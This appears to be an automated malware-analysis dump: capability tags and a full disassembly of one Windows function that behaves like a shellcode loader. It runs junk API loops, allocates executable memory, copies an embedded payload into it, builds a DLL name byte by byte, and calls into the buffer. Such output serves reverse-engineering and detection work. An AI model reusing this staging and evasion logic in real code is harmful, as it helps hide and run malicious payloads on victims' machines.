Function at 0x403690
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x449b88
push eax
mov dword fs:[0], esp
sub esp, 0x428
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
jmp 0x4036c0
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x4036d4
inc esi
cmp esi, 0x73f04bd
jl 0x4036c0
cmp dword [0x45a9f4], 0x400
jne 0x403711
push ebx
lea eax, [ebp - 0x434]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push ebx
push ebx
call fcn.00404b2f
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004046e0
fstp st(0)
add esp, 0x10
cmp dword [0x45a9f4], 0x93
jne 0x4037b6
xor ecx, ecx
lock bts dword [ecx], 0
push 0x402e58
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x402e6c
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00404820
add esp, 4
push eax
push 0x402e6c
lea ecx, [ebp - 0x30]
call fcn.00403fa0
push ebx
mov dword [ebp - 4], ebx
call fcn.004049a8
add esp, 4
push ebx
push ebx
call fcn.004049d7
add esp, 8
call fcn.0040456c
call fcn.00403680
push 0x30
push ebx
push 0x402e80
push 0x402e84
call fcn.004049e2
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], 0x10
jb 0x4037b6
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00404aa7
add esp, 4
mov eax, dword [0x45a9f4]
mov edx, dword [0x44ed84]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x45b830], edx
mov dword [0x45a9f4], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x45a484], eax
mov esi, 0x1692e
call edi
sub esi, 1
jne 0x4037f0
cmp dword [0x45a9f4], ebx
jbe 0x403868
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
jmp 0x403810
mov eax, dword [0x45b830]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x45a484]
mov byte [edx + esi], cl
cmp dword [0x45a9f4], 0x490
jne 0x40385d
push 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x14]
push ecx
push 0
lea edx, [ebp - 0x28]
push edx
push 0
call ebx
inc esi
cmp esi, dword [0x45a9f4]
jb 0x403810
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventA]
xor esi, esi
mov eax, dword [0x45a9f4]
add eax, esi
cmp eax, 0x8d
jne 0x4038ab
push 0
lea ecx, [ebp - 0x434]
push ecx
push 0
push 0
push 0
push 0
call edi
push 0
lea edx, [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x403876
call fcn.00403560
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [sym.imp.USER32.dll_GetAltTabInfoW]
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x4038dd
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x4038ee
inc esi
cmp esi, 0x67d12
jl 0x4038c7
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x61
jne 0x403914
mov dword [ebp - 0x10], 0
add dword [ebp - 0x10], 0x114e1
mov eax, dword [ebp - 0x10]
add dword [0x45a484], eax
inc esi
cmp esi, 0x674bd
jl 0x4038f6
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 0x10], 0x7b
jmp 0x403940
cmp dword [0x45a9f4], 0x86
jne 0x403975
push 0x402e90
call esi
push 0
lea ecx, [ebp - 0x434]
push ecx
push 0x402f28
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
cmp dword [0x45a9f4], 0xf
jne 0x40398a
push 0
lea edx, [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 0x10], 1
jne 0x403940
mov cl, 0x6c
mov al, 0x6d
push 0x451b18
mov byte [0x451b21], cl
mov byte [0x451b1b], al
mov byte [0x451b1c], 0x67
mov byte [0x451b20], 0x64
mov byte [0x451b23], 0
mov byte [0x451b22], cl
mov byte [0x451b1f], 0x2e
mov byte [0x451b1e], 0x32
mov byte [0x451b18], al
mov byte [0x451b1a], 0x69
mov byte [0x451b1d], 0x33
mov byte [0x451b19], 0x73
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x45a484]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret